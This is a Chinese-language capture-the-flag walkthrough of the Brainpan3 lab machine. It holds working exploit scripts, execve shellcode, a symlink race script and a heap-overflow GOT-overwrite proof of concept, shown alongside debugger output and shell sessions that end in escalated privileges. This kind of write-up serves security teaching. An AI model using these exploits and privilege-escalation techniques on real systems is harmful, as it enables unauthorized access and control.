# inject double qoute and a 0 to trigger
# the vulnerable code in record_id
payload += '" 0 #'
# send payload report
print '[+] Sending payload report'
s.sendrecv('1')
s.sendrecv( payload )
# interactive shell?
print '[+] Dropping into shell'
s.send('python -c "import pty;pty.spawn(\'/bin/bash\')"')
s.interact()

if __name__ == '__main__':
exploit('192.168.56.117', '1337')

最后执行漏洞利用程序为anansi用户获取了一个shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
root@kali:~/vulnhub/brainpan3# python report.py 
[+] Leak access code
[+] Access code leaked: 2602
[+] Enabling report feature
[+] Sending payload report
[+] Dropping into shell
anansi@brainpan3:/$ id
id
uid=1000(anansi) gid=1003(webdev) groups=1000(anansi)
anansi@brainpan3:/$ whoami
whoami
anansi
anansi@brainpan3:/$ pwd
pwd
/
anansi@brainpan3:/$ ls
ls
bin etc initrd.img.old media proc sbin tmp vmlinuz
boot home lib mnt root srv usr vmlinuz.old
dev initrd.img lost+found opt run sys var
anansi@brainpan3:/$ cd home
cd home
anansi@brainpan3:/home$ ls
ls
anansi puck reynard
anansi@brainpan3:/home$ cd anansi
cd anansi
anansi@brainpan3:/home/anansi$ ls
ls
REPORTS lapinblanc.txt
anansi@brainpan3:/home/anansi$ cat lapinblanc.txt
cat lapinblanc.txt

_ _
/ \ / \
{ } { }
{ { } }
\ \ / /
\ Y /
.-"`"`"-.
,` `.
/ \
/ \
{ ;"";, }
{ /";`'`,; }
\{ ;`,'`;. /
{ }`""` } /}
{ } { // f o l l o w
{||} { / m e
`"' `"'

reynard

在box上寻找时,发现reynard文件夹是可读的,并且在“/private/”文件夹中具有SUID可执行文件和加密文件

1
2
3
4
5
6
7
8
9
10
anansi@brainpan3:/home/reynard/private$ ls -lah
ls -lah
total 20K
drwxrwx--- 2 reynard webdev 4.0K Jun 10 2015 .
drwxr-xr-x 3 reynard reynard 4.0K Jun 10 2015 ..
-rwsr-xr-x 1 reynard reynard 5.5K May 19 2015 cryptor
-r-------- 1 reynard reynard 77 May 21 2015 sekret.txt.enc
anansi@brainpan3:/home/reynard/private$ ./cryptor
./cryptor
Usage: ./cryptor file key

将两个文件都下载到了本地计算机,并开始分析cryptor可执行文件

1
2
3
4
5
6
7
8
9
10
11
anansi@brainpan3:/home/anansi$ cp /home/reynard/private/cryptor .
cp /home/reynard/private/cryptor .
anansi@brainpan3:/home/anansi$ ls
ls
REPORTS cryptor lapinblanc.txt
anansi@brainpan3:/home/anansi$ python -m SimpleHTTPServer 8080
python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.56.1 - - [06/Feb/2020 05:45:39] "GET / HTTP/1.1" 200 -
192.168.56.1 - - [06/Feb/2020 05:45:48] "GET /cryptor HTTP/1.1" 200 -
192.168.56.1 - - [06/Feb/2020 05:46:07] "GET /lapinblanc.txt HTTP/1.1" 200 -

下面是它的c语言伪代码

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int a1, char **a2)
{
int result; // eax

if ( a1 > 2 )
{
sub_80485ED(a2[1], a2[2]);
result = 0;
}
else
{
printf("Usage: %s file key\n", *a2);
result = 1;
}
return result;
}

sub_80485ED

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
int __cdecl sub_80485ED(char *src, char *nptr)
{
char *v2; // eax
int v3; // ebx
int v4; // eax
char s[100]; // [esp+Ch] [ebp-78h]
int v7; // [esp+70h] [ebp-14h]
FILE *stream; // [esp+74h] [ebp-10h]
FILE *v9; // [esp+78h] [ebp-Ch]

memset(dest, 0, 0x64u);
memset(s, 0, 0x64u);
if ( strlen(src) <= 0x74 )
strcpy(s, src);
else
strncpy(s, src, 0x5Au);
v2 = &s[strlen(s)];
*(_DWORD *)v2 = 1668179246;
v2[4] = 0;
printf("[+] saving to %s\n", s);
strcpy(dest, nptr);
v9 = fopen(src, "r");
if ( v9 )
{
for ( stream = fopen(s, "w"); ; fputc(v4 ^ v3, stream) )
{
v7 = fgetc(v9);
if ( v7 == -1 )
break;
v3 = (char)v7;
v4 = atoi(nptr);
}
fclose(stream);
fclose(v9);
}
return 0;
}

从main函数开始,可以看到它将2个参数filename和key传递给cryptFile函数。在此函数中,它将对给定的文件名进行奇怪的长度检查,如果长度小于或等于116个字符,则会将完整文件名复制到100字节的pOutFilename缓冲区中,从而导致16字节的溢出。现在这还不足以溢出该函数的返回地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
stack layout
-00000078 pOutFile db 100 dup(?)
-00000014 DataByte dd ?
-00000010 fsin dd ? ; offset
-0000000C fsout dd ? ; offset
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008 pFile dd ? ; offset
+0000000C pKey dd ? ; offset

但是,从cryptFile返回并离开main函数时,会发生有趣的事情。由于主要功能以leave指令退出。

1
2
3
4
5
6
.text:08048786                 call    sub_80485ED
.text:0804878B mov eax, 0
.text:08048790
.text:08048790 locret_8048790: ; CODE XREF: main+26↑j
.text:08048790 leave
.text:08048791 retn

leave说明与以下内容相同:

1
2
mov esp, ebp
pop ebp

它有效地还原了堆栈指针,现在,在leave指令上放置一个断点并以116个字符的文件名启动可执行文件时,我们可以看到发生了什么

(gdb中调试的效果)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0
EDX: 0xfffff000
ESI: 0x0
EDI: 0x636e652e ('.enc')
EBP: 0xbffff400 ('A' )
ESP: 0xbffff480 --> 0xbffff69c ('A' )
EIP: 0x8048790 (leave)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048783: mov DWORD PTR [esp],eax
0x8048786: call 0x80485ed
0x804878b: mov eax,0x0
=> 0x8048790: leave
0x8048791: ret
0x8048792: xchg ax,ax
0x8048794: xchg ax,ax
0x8048796: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff480 --> 0xbffff69c ('A' )
0004| 0xbffff484 --> 0xbffff711 --> 0x53530041 ('A')
0008| 0xbffff488 --> 0xbffff508 --> 0x0
0012| 0xbffff48c --> 0xb7e6fe46 (: mov DWORD PTR [esp],eax)
0016| 0xbffff490 --> 0x3
0020| 0xbffff494 --> 0xbffff534 --> 0xbffff686 ("/root/vulnhub/brainpan3/cryptor")
0024| 0xbffff498 --> 0xbffff544 --> 0xbffff713 ("SSH_AGENT_PID=4019")
0028| 0xbffff49c --> 0xb7fdd860 --> 0xb7e59000 --> 0x464c457f
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048790 in ?? ()

EBP(0xbffff400)指向文件名缓冲区,并在执行成为ESP的离开指令时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0
EDX: 0xfffff000
ESI: 0x0
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff404 ('A' )
EIP: 0x8048791 (ret)
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048786: call 0x80485ed
0x804878b: mov eax,0x0
0x8048790: leave
=> 0x8048791: ret
0x8048792: xchg ax,ax
0x8048794: xchg ax,ax
0x8048796: xchg ax,ax
0x8048798: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xbffff404 ('A' )
0004| 0xbffff408 ('A' )
0008| 0xbffff40c ('A' )
0012| 0xbffff410 ('A' )
0016| 0xbffff414 ('A' )
0020| 0xbffff418 ('A' )
0024| 0xbffff41c ('A' )
0028| 0xbffff420 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048791 in ?? ()

最后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0xb7fba3c0 --> 0x0
EDX: 0xfffff000
ESI: 0x0
EDI: 0x636e652e ('.enc')
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff408 ('A' )
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xbffff408 ('A' )
0004| 0xbffff40c ('A' )
0008| 0xbffff410 ('A' )
0012| 0xbffff414 ('A' )
0016| 0xbffff418 ('A' )
0020| 0xbffff41c ('A' )
0024| 0xbffff420 ('A' )
0028| 0xbffff424 ('A' )
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x41414141 in ?? ()

那么该如何利用呢?请记住,密钥存储在全局缓冲区中,似乎cryptor是用可执行的堆栈和内存编译的,因此可以将Shellcode放在密钥缓冲区中,并在文件名缓冲区溢出中使用以返回该Shellcode来执行该Shellcode。

1
2
3
4
5
6
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
  • Exploit:
1
2
3
4
5
6
7
8
9
10
import struct

def p(v):
return struct.pack('<L', v)

shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
argFile = 29 * p(__bss_key)
argKey = shellcode
print argFile + ' ' + argKey

执行漏洞利用程序时,它并不总是生效,只需多执行几次,直到它生效为止

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/vulnhub/brainpan3# ./cryptor $(python cryptthis.py)
[+] saving to �����������������������������.enc
段错误
root@kali:~/vulnhub/brainpan3# ./cryptor $(python cryptthis.py)
[+] saving to �����������������������������.enc
段错误
root@kali:~/vulnhub/brainpan3# ./cryptor $(python cryptthis.py)
[+] saving to �����������������������������.enc
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# pwd
/root/vulnhub/brainpan3
# uname -a
Linux kali 5.4.0-kali2-amd64 #1 SMP Debian 5.4.8-1kali1 (2020-01-06) x86_64 GNU/Linux
# ls
bofh cryptor cryptthis.py poc.py report report.py shell test.py

放在brainpan3上面运行poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
anansi@brainpan3:/tmp$ echo "import struct

def p(v):
return struct.pack('<L', v)

shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
argFile = 29 * p(__bss_key)
argKey = shellcode
print argFile + ' ' + argKeyecho "import struct
>
> def p(v):
> return struct.pack('<L', v)
>
<\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
> __bss_key = 0x0804a080
> argFile = 29 * p(__bss_key)
> argKey = shellcode
> " > cryptthis.py
print argFile + ' ' + argKey" > cryptthis.py
anansi@brainpan3:/tmp$ ls
ls
cryptthis.py vjGSL5d vtSHi56
anansi@brainpan3:/tmp$ cat cryptthis.py
cat cryptthis.py
import struct

def p(v):
return struct.pack('<L', v)

shellcode = '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
__bss_key = 0x0804a080
argFile = 29 * p(__bss_key)
argKey = shellcode
print argFile + ' ' + argKey
anansi@brainpan3:/tmp$ python cryptthis.py
python cryptthis.py
����������������������������� 1����
Qh//shh/bin��
anansi@brainpan3:/tmp$ cd /home
cd /home
anansi@brainpan3:/home$ ls
ls
anansi puck reynard
anansi@brainpan3:/home$ cd renard
cd renard
bash: cd: renard: No such file or directory
anansi@brainpan3:/home$ cd reynard
cd reynard
anansi@brainpan3:/home/reynard$ ls
ls
private
anansi@brainpan3:/home/reynard$ cd private
cd private
anansi@brainpan3:/home/reynard/private$ ls
ls
cryptor sekret.txt.enc
anansi@brainpan3:/home/reynard/private$ ./cryptor $(python /tmp/cryptthis.py)
./cryptor $(python /tmp/cryptthis.py)
[+] saving to �����������������������������.enc
$ id
id
uid=1000(anansi) gid=1003(webdev) euid=1002(reynard) groups=1002(reynard)
$ whoami
whoami
reynard

现在得到了reynard用户的权限

Puck

我花了点时间弄清楚如何升级到puck用户的权限,当执行netstat时,注意到端口7075上有一个本地列出的服务,当连接到它时,出现以下文本

1
2
3
$ nc 127.0.0.1 7075
nc 127.0.0.1 7075
Incorrect key

经过更多搜索之后,在/usr/local/sbin文件夹中找到了与此服务相关的trixd可执行文件。

1
2
3
4
5
6
7
8
9
10
$ cd /usr/local/sbin/
cd /usr/local/sbin/
$ ls -lah
ls -lah
total 40K
drwxr-xr-x 2 root root 4.0K May 26 2015 .
drwxr-xr-x 10 root root 4.0K May 19 2015 ..
-rwxr-xr-x 1 root root 17K May 26 2015 brainpan3
-rwxr-xr-x 1 root root 7.5K May 20 2015 trixd
-rwxr-xr-x 1 root root 343 May 21 2015 www

将文件复制到本地计算机以进行分析

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main()
{
int v0; // eax
int v1; // eax
int v2; // ebx
int v4; // ST1C_4
int v5; // ST1C_4
struct timeval timeout; // [esp+24h] [ebp-94h]
struct stat stat_buf; // [esp+2Ch] [ebp-8Ch]
int buf; // [esp+84h] [ebp-34h]
int v9; // [esp+88h] [ebp-30h]
int v10; // [esp+8Ch] [ebp-2Ch]
int v11; // [esp+90h] [ebp-28h]
int v12; // [esp+94h] [ebp-24h]
int s1; // [esp+98h] [ebp-20h]
int v14; // [esp+9Ch] [ebp-1Ch]
int v15; // [esp+A0h] [ebp-18h]
int v16; // [esp+A4h] [ebp-14h]
int v17; // [esp+A8h] [ebp-10h]
unsigned int v18; // [esp+ACh] [ebp-Ch]

v18 = __readgsdword(0x14u);
if ( ptrace(0, 0, 1, 0) < 0 )
return -1;
setbuf(stdout, 0);
timeout.tv_usec = 1;
buf = 0;
v9 = 0;
v10 = 0;
v11 = 0;
v12 = 0;
s1 = 0;
v14 = 0;
v15 = 0;
v16 = 0;
v17 = 0;
__lxstat(3, "/mnt/usb/key.txt", &stat_buf);
if ( (stat_buf.st_mode & 0xF000) == 40960 )
{
v2 = -1;
puts("Key file is compromised.");
}
else
{
select(1, 0, 0, 0, &timeout);
v0 = open("/home/puck/key.txt", 0);
if ( v0 < 0 )
{
v5 = v0;
perror("open");
v0 = v5;
}
read(v0, &buf, 0x13u);
v1 = open("/mnt/usb/key.txt", 0);
if ( v1 < 0 )
{
v4 = v1;
perror("open");
v1 = v4;
}
read(v1, &s1, 0x13u);
v2 = strcmp((const char *)&s1, (const char *)&buf);
if ( v2 )
{
v2 = 0;
puts("Incorrect key");
}
else
{
puts("Authentication successful");
system("/bin/sh");
}
}
return v2;
}

Reynard可以写入“/mnt/usb/”文件夹

1
131707    4 drwxrwx---   2 reynard  dev          4096 Aug  2 15:54 /mnt/usb

一旦在7075上连接到服务,就会执行checkKeyfile函数,该函数打开2个密钥文件并比较它们的内容,如果它们匹配,则将其放入shell中。符号链接检查和睡眠(使用select)使Superkojiman暗示了比赛状况。可以在usb文件夹中重复创建一个密钥文件,然后将其更改为指向puck文件夹中的密钥文件的符号链接,同时连接到该服务,并希望在某个时候能克服符号链接检查和打开文件。将欺骗比较两个相同文件的代码,即pucks文件夹中的有效密钥。

走向胜利

编写了一段python代码,该代码重复创建了一个密钥文件,将其更改为符号链接,并且每次操作之间几乎没有睡眠。该脚本必须作为reynard运行,因为他是唯一允许写入usb文件夹的脚本。任何其他用户都可以连接到该服务。

race.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import time

if os.geteuid() != 1002:
print 'Run as user reynard'
else:
for i in range(1000)
os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt')
time.sleep(0.1)
os.unlink('/mnt/usb/key.txt')
os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
time.sleep(0.1)
os.unlink('/mnt/usb/key.txt')

print '[+] Finished'

为了使其正常工作,需要2个shell,因此使用了报告漏洞利用创建了另一个anansi shell。当reynard shell执行race脚本时,此anansi shell用于连接到服务。race脚本。

1
2
$ python race.py
python race.py

在第二个终端中运行几次netcat循环,直到成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Authentication successful
id
id
uid=1001(puck) gid=1004(dev) groups=1001(puck)
whoami
whoami
puck
pwd
pwd
/
cd /home
cd /home
ls
ls
anansi
puck
reynard
cd puck
cd puck
ls
ls
key.txt
cat key.txt
cat key.txt
HBN48HY71ERG5GA6290V
ls
ls
key.txt
ls -la
ls -la
total 24
drwx------ 2 puck puck 4096 Jun 10 2015 .
drwxr-xr-x 5 root root 4096 May 19 2015 ..
-rw------- 1 puck puck 0 Jun 10 2015 .bash_history
-rw-r--r-- 1 puck puck 220 May 19 2015 .bash_logout
-rw-r--r-- 1 puck puck 3637 May 19 2015 .bashrc
-rw-r--r-- 1 puck puck 675 May 19 2015 .profile
-rw------- 1 puck puck 21 May 19 2015 key.txt

没有得到root权限,就没有荣耀

当搜索有关puck的文件时,已经找到了一个有趣的cron job

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
puck@brainpan3:/home/puck$ ls -lah /etc/cron.d/
ls -lah /etc/cron.d/
ls -lah /etc/cron.d/
total 16K
drwxr-xr-x 2 root root 4.0K May 20 2015 .
drwxr-xr-x 90 root root 4.0K Feb 6 07:11 ..
-rw-r--r-- 1 root root 102 Feb 9 2013 .placeholder
-rw-r--r-- 1 root root 100 May 19 2015 msg_admin
puck@brainpan3:/home/puck$ cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done
puck@brainpan3:/home/puck$ /usr/local/bin/msg_admin
/usr/local/bin/msg_admin
/usr/local/bin/msg_admin
Usage: /usr/local/bin/msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
cate|Reset password request.

cron job 从/opt/.messenger文件夹中获取所有.msg文件,并将它们传递给msg_admin可执行文件,然后删除该文件。将可执行文件复制到本地计算机进行分析。

struct_msg

1
2
3
4
5
6
struct struct_msg
{
int Priority;
char *Requestername;
char *Msg;
};

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
int __cdecl main(int argc, const char **argv, const char **envp)
{
void *v3; // esp
int result; // eax
int v5; // ebx
int v6; // ebx
char *v7; // ebx
const char *v8; // [esp-18h] [ebp-98h]
int v9; // [esp-14h] [ebp-94h]
int v10; // [esp-Ch] [ebp-8Ch]
const char **v11; // [esp+0h] [ebp-80h]
int v12; // [esp+4h] [ebp-7Ch]
char *s; // [esp+Ch] [ebp-74h]
int v14; // [esp+10h] [ebp-70h]
int i; // [esp+14h] [ebp-6Ch]
int v16; // [esp+18h] [ebp-68h]
int v17; // [esp+1Ch] [ebp-64h]
int v18; // [esp+20h] [ebp-60h]
char *dest; // [esp+24h] [ebp-5Ch]
FILE *stream; // [esp+28h] [ebp-58h]
void *v21; // [esp+2Ch] [ebp-54h]
void *v22; // [esp+30h] [ebp-50h]
char *delim; // [esp+34h] [ebp-4Ch]
char *src; // [esp+38h] [ebp-48h]
int v25[10]; // [esp+3Ch] [ebp-44h]
unsigned int v26; // [esp+64h] [ebp-1Ch]
int *v27; // [esp+70h] [ebp-10h]

v27 = &argc;
v12 = argc;
v11 = argv;
v26 = __readgsdword(0x14u);
v16 = 0;
v17 = 10;
v14 = 0;
i = 0;
v18 = 399;
v3 = alloca(400);
dest = (char *)&v10;
if ( argc > 2 )
{
v8 = v11[1];
v16 = atol(v8);
stream = fopen(v11[2], "r");
s = (char *)malloc(0x190u);
v21 = malloc(0x14u);
v22 = malloc(0x64u);
while ( getline((int)&s, (int)&LINEMAX_2, (int)stream) > 0 )
++v14;
v9 = v14;
printf("[+] Recording %d entries\n", v14);
rewind(stream);
for ( i = 0; i < v14; ++i )
{
v25[i] = (int)malloc(0xCu);
*(_DWORD *)v25[i] = v16;
v5 = v25[i];
*(_DWORD *)(v5 + 4) = malloc(0xAu);
v6 = v25[i];
*(_DWORD *)(v6 + 8) = malloc(0xC8u);
}
for ( i = 0; i < v14; ++i )
{
delim = "|";
if ( getline((int)&s, (int)&LINEMAX_2, (int)stream) > 1 )
{
v7 = s;
v7[strlen(s) - 1] = 0;
src = strtok(s, delim);
strcpy(*(char **)(v25[i] + 4), src);
src = strtok(0, delim);
strcpy(*(char **)(v25[i] + 8), src);
strncpy(dest, *(const char **)(v25[i] + 8), 0x64u);
}
}
fclose(stream);
notify_admin((int)v25, v14);
result = 0;
}
else
{
usage((int)*v11);
result = 1;
}
return result;
}

这是经典的内存损坏。对于.msg文件中的每条消息(行),它都会创建一个struct_msg结构并为其变量分配内存,然后将其添加到列表中。接下来,它循环遍历文件,并在“ |”定界符上分割每一行,并将每个部分复制到结构变量“Requestername”和“Msg”。这些变量的固定大小为10(请求者名称)和200(消息)。由于没有检查长度,因此可能破坏内存中的结构指针。以下代码创建一个包含2条消息的.msg文件,每个文件的变量都填充到其最大值,因此不会破坏任何内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import sys
import struct

# message 1
payload = 10 * '\x41' # A
payload += '|'
payload += 200 * '\x42' # B
payload += '\n'
# message 2
payload += 10 * '\x43' # C
payload += '|'
payload += 200 * '\x44' # D
payload += '\n'

open('poc.msg','wb').write(payload)

当使用GDB分析内存时,可以看到如何映射所有内存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398: 0x41414141 0x41414141 0x00004141 0x000000d1
0x804c3a8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3b8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3c8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3d8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3e8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3f8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c408: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c418: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c428: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c438: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c448: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c458: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c468: 0x42424242 0x42424242 0x00000000 0x00000011
0x804c478: 0x00000001 0x0804c488 0x0804c498 0x00000011
0x804c488: 0x43434343 0x43434343 0x00004343 0x000000d1
0x804c498: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4a8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4b8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4c8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4d8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4e8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c4f8: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c508: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c518: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c528: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c538: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c548: 0x44444444 0x44444444 0x44444444 0x44444444
0x804c558: 0x44444444 0x44444444 0x00000000 0x00020aa1

第一个struct_msg结构位于0x804c388,第二个位于0x804c478。现在,在第一个消息中使用较大的(216字节)“Msg”缓冲区时,将覆盖第二个struct_msg结构的“Requestername”指针,并在下一个strcpy调用中有效控制目标指针和源数据,从而导致Write-允许我们修补GOT条目的任何条件。这段代码将got.strtok地址修补为0x43434343,strtok是strcpy之后执行的下一个函数。我编写了一个ROP有效负载,它通过从3个阶段中添加0xE900来将取自atol的atol的地址加载到eax中,并将该值累加至系统,然后使用参数’/ tmp / foo’调用eax(system),这是一个脚本由我们创建并在执行时将根拥有的SUID shell复制到tmp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import sys
import struct

# message 1
# .got.plt:0804B05C off_804B05C dd offset strtok ; DATA XREF: _strtok
payload = 10 * '\x41'
payload += '|'
payload += 200 * '\x42'
payload += 12 * '\x42'
# overwrite 2nd struct it's requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes 0x43434343
payload += '\n'
# message 2
payload += 4 * '\x43' # written to got.strtok
payload += '|'
payload += 200 * '\x44'
payload += '\n'

open('poc.msg','wb').write(payload)

一些GDB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
gdb-peda$ x/150xw 0x804c388
0x804c388: 0x00000001 0x0804c398 0x0804c3a8 0x00000011
0x804c398: 0x41414141 0x41414141 0x00004141 0x000000d1
0x804c3a8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3b8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3c8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3d8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3e8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c3f8: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c408: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c418: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c428: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c438: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c448: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c458: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c468: 0x42424242 0x42424242 0x42424242 0x42424242
0x804c478: 0x42424242 0x0804b05c 0x0804c400 0x00000011
0x804c488: 0x00000000 0x00000000 0x00000000 0x000000d1
0x804c498: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4a8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4b8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4c8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4e8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c4f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c508: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c518: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c528: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c538: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c548: 0x00000000 0x00000000 0x00000000 0x00000000
0x804c558: 0x00000000 0x00000000 0x00000000 0x00020aa1
...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac --> 0x8048ce3 (: mov DWORD PTR [ebp-0x48],eax)
0004| 0xbffff2b0 --> 0x0
0008| 0xbffff2b4 --> 0x8048f4d --> 0x100007c
0012| 0xbffff2b8 --> 0x804c008 --> 0xfbad2488
0016| 0xbffff2bc ('B' repeats 100 times "\234, \357\377\267 \360\377\267")
0020| 0xbffff2c0 ('B' repeats 96 times "\234, \357\377\267 \360\377\267")
0024| 0xbffff2c4 ('B' repeats 92 times "\234, \357\377\267 \360\377\267")
